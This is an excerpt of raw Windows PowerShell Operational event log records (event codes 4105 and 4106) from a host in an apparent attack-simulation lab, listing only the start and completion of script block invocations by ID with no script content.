Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035446
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035445
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035439
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035417
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035415
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035414
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035397
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
